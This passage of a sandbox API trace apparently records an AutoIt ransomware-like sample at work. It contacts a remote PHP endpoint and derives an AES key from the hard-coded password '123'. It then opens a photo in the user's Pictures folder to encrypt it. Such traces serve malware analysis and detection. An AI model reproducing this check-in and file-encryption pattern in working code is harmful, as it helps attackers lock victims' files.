(Locale=0x400, dwCmpFlags=0x1, lpString1="erVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rVvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VvkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vkfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kfwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fwbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wbJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bJkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jkn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kn4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.815] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.815] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.815] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.815] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.815] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.815] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.815] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.816] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.816] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c) returned 1 [0060.816] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.816] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.816] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.816] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.816] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.816] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.817] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.817] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.817] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.817] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.817] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.817] CloseHandle (hObject=0x0) returned 0 [0060.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.817] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.818] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.818] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.818] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.818] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.818] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.818] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.819] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.819] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.819] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.819] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.819] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.820] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.820] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.820] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.821] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.822] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.822] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.822] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.822] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.822] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.823] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.823] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.823] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.823] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.823] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.823] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.824] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.824] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.824] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.825] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.825] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.825] CryptHashData (hHash=0x164c830, pbData=0x16294b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.826] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.826] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.826] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.826] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.827] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.827] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0060.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.827] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.827] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.827] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.828] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.828] CryptDestroyHash (hHash=0x164c830) returned 1 [0060.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.829] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\K41yerVvkfwbJkn4v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\k41yervvkfwbjkn4v.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.829] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.829] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.829] GetFileAttributesW 